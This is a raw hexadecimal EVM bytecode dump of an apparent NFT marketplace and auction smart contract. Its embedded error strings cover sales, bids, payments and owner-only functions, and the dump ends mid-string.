0x6080604052600436106100f35760003560e01c80637baa0bc31161008a5780639f04996d116100595780639f04996d1461030a578063d3c9080a14610326578063d4739cca14610351578063f7f174881461038e576100f3565b80637baa0bc3146102735780637deb60251461029c5780638b765cd1146102b85780638d3c100a146102e1576100f3565b80633ccfd60b116100c65780633ccfd60b146101c15780633fbf444e146101d857806344f91c1e1461020357806365e4e1c014610248576100f3565b80630f0a1b9e146100f5578063150b7a021461011e578063179443f31461015b5780631a07b08114610184575b005b34801561010157600080fd5b5061011c60048036036101179190810190613bc2565b6103b9565b005b34801561012a57600080fd5b5061014560048036036101409190810190613a7d565b6109f4565b60405161015291906142a6565b60405180910390f35b34801561016757600080fd5b50610182600480360361017d9190810190613b86565b610a08565b005b34801561019057600080fd5b506101ab60048036036101a69190810190613af8565b610d88565b6040516101b8919061428b565b60405180910390f35b3480156101cd57600080fd5b506101d6610df0565b005b3480156101e457600080fd5b506101ed610ec8565b6040516101fa9190614478565b60405180910390f35b34801561020f57600080fd5b5061022a60048036036102259190810190613af8565b610edc565b60405161023f9998979695949392919061416e565b60405180910390f35b34801561025457600080fd5b5061025d610f84565b60405161026a9190614269565b60405180910390f35b34801561027f57600080fd5b5061029a60048036036102959190810190613c11565b611046565b005b6102b660048036036102b19190810190613b86565b611925565b005b3480156102c457600080fd5b506102df60048036036102da9190810190613b34565b6122ce565b005b3480156102ed57600080fd5b5061030860048036036103039190810190613b86565b61237d565b005b610324600480360361031f9190810190613b86565b612ce4565b005b34801561033257600080fd5b5061033b6133f8565b6040516103489190614269565b60405180910390f35b34801561035d57600080fd5b5061037860048036036103739190810190613a02565b6134ba565b6040516103859190614269565b60405180910390f35b34801561039a57600080fd5b506103a36135bb565b6040516103b09190614269565b60405180910390f35b60008290503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff1660e01b815260040161040e9190614493565b60206040518083038186803b15801561042657600080fd5b505afa15801561043a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061045e9190810190613a2b565b73ffffffffffffffffffffffffffffffffffffffff16146104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906142c1565b60405180910390fd5b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060009054906101000a900460ff16151514610558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054f90614401565b60405180910390fd5b6002600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060030154141561064a57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600801544210610649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610640906143e1565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16848473ffffffffffffffffffffffffffffffffffffffff167fdf29313d1d5b7c5416a94175b5ca68dd12f321c492378515a393cb6fa185a064600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000898152602001908152602001600020600301546001600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b8152602001908152602001600020600301541461081557600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a81526020019081526020016000206004015461086a565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a8152602001908152602001600020600501545b874260405161087c94939291906144e5565b60405180910390a46001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060030154141561093d5781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600501819055506109ee565b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206004018190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600101819055505b50505050565b600063150b7a0260e01b9050949350505050565b60008190503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16636352211e856040518263ffffffff1660e01b8152600401610a5d9190614493565b60206040518083038186803b158015610a7557600080fd5b505afa158015610a89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610aad9190810190613a2b565b73ffffffffffffffffffffffffffffffffffffffff1614610b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afa90614361565b60405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600501819055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16838373ffffffffffffffffffffffffffffffffffffffff167fc6cbfa5d50361876594545ebb03885a467af1f0e149b607cb3bc0dc820983c0142604051610c239190614493565b60405180910390a4610c418284600661367d9092919063ffffffff16565b50610c958284600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061367d9092919063ffffffff16565b506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600301541415610d0e57610d088284600361367d9092919063ffffffff16565b50610d83565b6002600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600301541415610d8257610d808284600461367d9092919063ffffffff16565b505b5b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900460ff16905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e76906143c1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ec5573d6000803e3d6000fd5b50565b600060149054906101000a900461ffff1681565b6005602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154908060040154908060050154908060060160009054906101000a900460ff16908060070154908060080154905089565b60606006600001805480602002602001604051908101604052809291908181526020016000905b8282101561103d57838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152505081526020019060010190610fab565b50505050905090565b60008190503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16636352211e896040518263ffffffff1660e01b815260040161109b9190614493565b60206040518083038186803b1580156110b357600080fd5b505afa1580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110eb9190810190613a2b565b73ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890614361565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663081812fc896040518263ffffffff1660e01b81526004016111919190614493565b60206040518083038186803b1580156111a957600080fd5b505afa1580156111bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111e19190810190613a2b565b73ffffffffffffffffffffffffffffffffffffffff1614611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90614341565b60405180910390fd5b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060009054906101000a900460ff1615151415611406576002600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060030154148015611368575060001515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060060160009054906101000a900460ff161515145b80156113c65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008881526020019081526020016000206008015442115b611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90614381565b60405180910390fd5b5b61140e6138b6565b6040518061012001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001888152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001878152602001888152602001868152602001600015158152602001428152602001854201815250905080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555060e08201518160070155610100820151816008015590505060001515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060009054906101000a900460ff16151514156118a25760018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060006101000a81548160ff021916908315150217905550600673e851ad98f07fd75a99fd5b17c0007bc587c697de637f30891c9091858b6040518463ffffffff1660e01b81526004016116d193929190614441565b60006040518083038186803b1580156116e957600080fd5b505af41580156116fd573d6000803e3d6000fd5b50505050600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002073e851ad98f07fd75a99fd5b17c0007bc587c697de637f30891c9091858b6040518463ffffffff1660e01b815260040161177c93929190614441565b60006040518083038186803b15801561179457600080fd5b505af41580156117a8573d6000803e3d6000fd5b50505050600186141561182857600373e851ad98f07fd75a99fd5b17c0007bc587c697de637f30891c9091858b6040518463ffffffff1660e01b81526004016117f393929190614441565b60006040518083038186803b15801561180b57600080fd5b505af415801561181f573d6000803e3d6000fd5b505050506118a1565b60028614156118a057600473e851ad98f07fd75a99fd5b17c0007bc587c697de637f30891c9091858b6040518463ffffffff1660e01b815260040161186f93929190614441565b60006040518083038186803b15801561188757600080fd5b505af415801561189b573d6000803e3d6000fd5b505050505b5b5b3373ffffffffffffffffffffffffffffffffffffffff16888473ffffffffffffffffffffffffffffffffffffffff167f29d80f146295a2c4fe41ea4e39cab877446543c4e3993747545b016fc35e567c8960018b14611901578b611903565b895b42604051611913939291906144ae565b60405180910390a45050505050505050565b600081905060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060009054906101000a900460ff161515146119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590614301565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060050154341015611a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b906143a1565b60405180910390fd5b6002600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600301541415611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af290614421565b60405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008273ffffffffffffffffffffffffffffffffffffffff1663b5004f01866040518263ffffffff1660e01b8152600401611bae9190614493565b60206040518083038186803b158015611bc657600080fd5b505afa158015611bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611bfe9190810190613b5d565b905060008373ffffffffffffffffffffffffffffffffffffffff1663cd53d08e876040518263ffffffff1660e01b8152600401611c3b9190614493565b60206040518083038186803b158015611c5357600080fd5b505afa158015611c67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c8b9190810190613a54565b90506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060060160006101000a81548160ff02191690831515021790555033600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060050154600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888152602001908152602001600020600101819055508373ffffffffffffffffffffffffffffffffffffffff166342842e0e8573ffffffffffffffffffffffffffffffffffffffff16636352211e896040518263ffffffff1660e01b8152600401611ef49190614493565b60206040518083038186803b158015611f0c57600080fd5b505afa158015611f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611f449190810190613a2b565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16896040518463ffffffff1660e01b8152600401611fd793929190614232565b600060405180830381600087803b158015611ff157600080fd5b505af1158015612005573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff166108fc612710600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a81526020019081526020016000206001015485028161208357fe5b049081150290604051600060405180830381858888f193505050501580156120af573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff166108fc612710600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060010154600060149054906101000a900461ffff1661ffff16866127100303028161214457fe5b049081150290604051600060405180830381858888f19350505050158015612170573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f7a212d757c7290587e1c8f7100a01a3d09466d58945058b6f22a179013475a9089600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c8152602001908152602001600020600501544260405161223c939291906144ae565b60405180910390a461225a8587600661367d9092919063ffffffff16565b506122ae8587600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061367d9092919063ffffffff16565b506122c58587600361367d9092919063ffffffff16565b50505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461235d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612354906143c1565b60405180910390fd5b80600060146101000a81548161ffff021916908361ffff16021790555050565b6000819050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600801544211612417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240e906142e1565b60405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060011515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060060160009054906101000a900460ff1615151415612a315760008273ffffffffffffffffffffffffffffffffffffffff1663b5004f01866040518263ffffffff1660e01b81526004016125379190614493565b60206040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506125879190810190613b5d565b905060008373ffffffffffffffffffffffffffffffffffffffff1663cd53d08e876040518263ffffffff1660e01b81526004016125c49190614493565b60206040518083038186803b1580156125dc57600080fd5b505afa1580156125f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506126149190810190613a54565b90508373ffffffffffffffffffffffffffffffffffffffff166342842e0e8573ffffffffffffffffffffffffffffffffffffffff16636352211e896040518263ffffffff1660e01b815260040161266b9190614493565b60206040518083038186803b15801561268357600080fd5b505afa158015612697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506126bb9190810190613a2b565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16896040518463ffffffff1660e01b815260040161274e93929190614232565b600060405180830381600087803b15801561276857600080fd5b505af115801561277c573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff166108fc612710600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a8152602001908152602001600020600101548502816127fa57fe5b049081150290604051600060405180830381858888f19350505050158015612826573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff166108fc612710600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060010154600060149054906101000a900461ffff1661ffff1686612710030302816128bb57fe5b049081150290604051600060405180830381858888f193505050501580156128e7573d6000803e3d6000fd5b50600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f7a212d757c7290587e1c8f7100a01a3d09466d58945058b6f22a179013475a9089600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c81526020019081526020016000206001015442604051612a26939291906144ae565b60405180910390a450505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff16848473ffffffffffffffffffffffffffffffffffffffff167f8738bce6e62abeb05692e7db5e7e03bc23efdd8068d4d869825fe6cf6d7d2d4f600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163342604051612b6f93929190614137565b60405180910390a4612b8d8385600661367d9092919063ffffffff16565b50612be18385600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061367d9092919063ffffffff16565b50612bf88385600461367d9092919063ffffffff16565b50600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556003820160009055600482016000905560058201600090556006820160006101000a81549060ff021916905560078201600090556008820160009055505050505050565b600081905060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060009054906101000a900460ff16151514612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490614301565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600101543411612e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e19906143a1565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600801544210612eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eae906143e1565b60405180910390fd5b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600301541415612f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4590614321565b60405180910390fd5b60011515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060060160009054906101000a900460ff16151514156130c957600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600101549081150290604051600060405180830381858888f193505050501580156130c7573d6000803e3d6000fd5b505b8073ffffffffffffffffffffffffffffffffffffffff166342842e0e8273ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff1660e01b815260040161311e9190614493565b60206040518083038186803b15801561313657600080fd5b505afa15801561314a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061316e9190810190613a2b565b30866040518463ffffffff1660e01b815260040161318e93929190614232565b600060405180830381600087803b1580156131a857600080fd5b505af11580156131bc573d6000803e3d6000fd5b5050505034600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060060160006101000a81548160ff02191690831515021790555033600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838373ffffffffffffffffffffffffffffffffffffffff167f25ea1b79d06bc0d1fd383e844cb6c22aa8a986691408b36f8559b4f2c7e8c44e3334426040516133eb939291906141fb565b60405180910390a4505050565b60606003600001805480602002602001604051908101604052809291908181526020016000905b828210156134b157838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250508152602001906001019061341f565b50505050905090565b6060600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805480602002602001604051908101604052809291908181526020016000905b828210156135b057838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250508152602001906001019061351e565b505050509050919050565b60606004600001805480602002602001604051908101604052809291908181526020016000905b8282101561367457838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481525050815260200190600101906135e2565b50505050905090565b60008060006136978585886137ce9092919063ffffffff16565b915091506001151581151514156137c057856000016001876000018054905003815481106136c157fe5b90600052602060002090600202018660000183815481106136de57fe5b90600052602060002090600202016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600182015481600101559050508560000180548061376d57fe5b6001900381819060005260206000209060020201600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055505090556001925050506137c7565b6000925050505b9392505050565b6000806000806000905060008090505b87600001805490508110156138a5578673ffffffffffffffffffffffffffffffffffffffff1688600001828154811061381357fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561388757508588600001828154811061387357fe5b906000526020600020906002020160010154145b1561389857809250600191506138a5565b80806001019150506137de565b508181935093505050935093915050565b604051806101200160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000815260200160001515815260200160008152602001600081525090565b60008135905061393f816146a6565b92915050565b600081519050613954816146a6565b92915050565b600081519050613969816146bd565b92915050565b600082601f83011261398057600080fd5b813561399361398e82614557565b61452a565b915080825260208301602083018583830111156139af57600080fd5b6139ba838284614697565b50505092915050565b6000813590506139d2816146d4565b92915050565b6000813590506139e7816146eb565b92915050565b6000815190506139fc816146eb565b92915050565b600060208284031215613a1457600080fd5b6000613a2284828501613930565b91505092915050565b600060208284031215613a3d57600080fd5b6000613a4b84828501613945565b91505092915050565b600060208284031215613a6657600080fd5b6000613a748482850161395a565b91505092915050565b60008060008060808587031215613a9357600080fd5b6000613aa187828801613930565b9450506020613ab287828801613930565b9350506040613ac3878288016139d8565b925050606085013567ffffffffffffffff811115613ae057600080fd5b613aec8782880161396f565b91505092959194509250565b60008060408385031215613b0b57600080fd5b6000613b1985828601613930565b9250506020613b2a858286016139d8565b9150509250929050565b600060208284031215613b4657600080fd5b6000613b54848285016139c3565b91505092915050565b600060208284031215613b6f57600080fd5b6000613b7d848285016139ed565b91505092915050565b60008060408385031215613b9957600080fd5b6000613ba7858286016139d8565b9250506020613bb885828601613930565b9150509250929050565b600080600060608486031215613bd757600080fd5b6000613be5868287016139d8565b9350506020613bf686828701613930565b9250506040613c07868287016139d8565b9150509250925092565b60008060008060008060c08789031215613c2a57600080fd5b6000613c3889828a016139d8565b9650506020613c4989828a016139d8565b9550506040613c5a89828a016139d8565b9450506060613c6b89828a016139d8565b9350506080613c7c89828a016139d8565b92505060a0613c8d89828a01613930565b9150509295509295509295565b6000613ca683836140c5565b60408301905092915050565b613cbb81614661565b82525050565b613cca816145df565b82525050565b613cd9816145cd565b82525050565b613ce8816145cd565b82525050565b613cf7816145cd565b82525050565b6000613d0882614593565b613d1281856145ab565b9350613d1d83614583565b8060005b83811015613d4e578151613d358882613c9a565b9750613d408361459e565b925050600181019050613d21565b5085935050505092915050565b613d64816145f1565b82525050565b613d73816145fd565b82525050565b6000613d866033836145bc565b91507f596f75206d757374206265206f776e657220616e6420546f6b656e2073686f7560008301527f6c64206e6f74206861766520616e7920626964000000000000000000000000006020830152604082019050919050565b6000613dec6011836145bc565b91507f41756374696f6e204e6f74204f766572210000000000000000000000000000006000830152602082019050919050565b6000613e2c6012836145bc565b91507f546f6b656e204e6f7420466f722053616c6500000000000000000000000000006000830152602082019050919050565b6000613e6c6013836145bc565b91507f41756374696f6e204e6f7420466f7220426964000000000000000000000000006000830152602082019050919050565b6000613eac6013836145bc565b91507f42726f6b6572204e6f7420617070726f766564000000000000000000000000006000830152602082019050919050565b6000613eec6011836145bc565b91507f5065726d697373696f6e2044656e6965640000000000000000000000000000006000830152602082019050919050565b6000613f2c601c836145bc565b91507f54686973204e465420697320616c7265616479206f6e2073616c652e000000006000830152602082019050919050565b6000613f6c6014836145bc565b91507f496e73756666696369656e74205061796d656e740000000000000000000000006000830152602082019050919050565b6000613fac6020836145bc565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613fec6012836145bc565b91507f41756374696f6e2054696d65204f7665722100000000000000000000000000006000830152602082019050919050565b600061402c6025836145bc565b91507f546f6b656e204d757374206265206f6e2073616c6520746f206368616e67652060008301527f70726963650000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006140926015836145bc565b91507f41756374696f6e20666f7220426964206f6e6c792100000000000000000000006000830152602082019050919050565b6040820160008201516140db6000850182613cd0565b5060208201516140ee602085018261410a565b50505050565b8082525050565b61410481614629565b82525050565b61411381614657565b82525050565b61412281614657565b82525050565b61413181614657565b82525050565b600060608201905061414c6000830186613cb2565b6141596020830185613cb2565b6141666040830184614119565b949350505050565b600061012082019050614184600083018c613cc1565b614191602083018b614119565b61419e604083018a613cc1565b6141ab6060830189614119565b6141b86080830188614119565b6141c560a0830187614119565b6141d260c0830186613d5b565b6141df60e0830185614119565b6141ed610100830184614119565b9a9950505050505050505050565b60006060820190506142106000830186613cb2565b61421d6020830185614119565b61422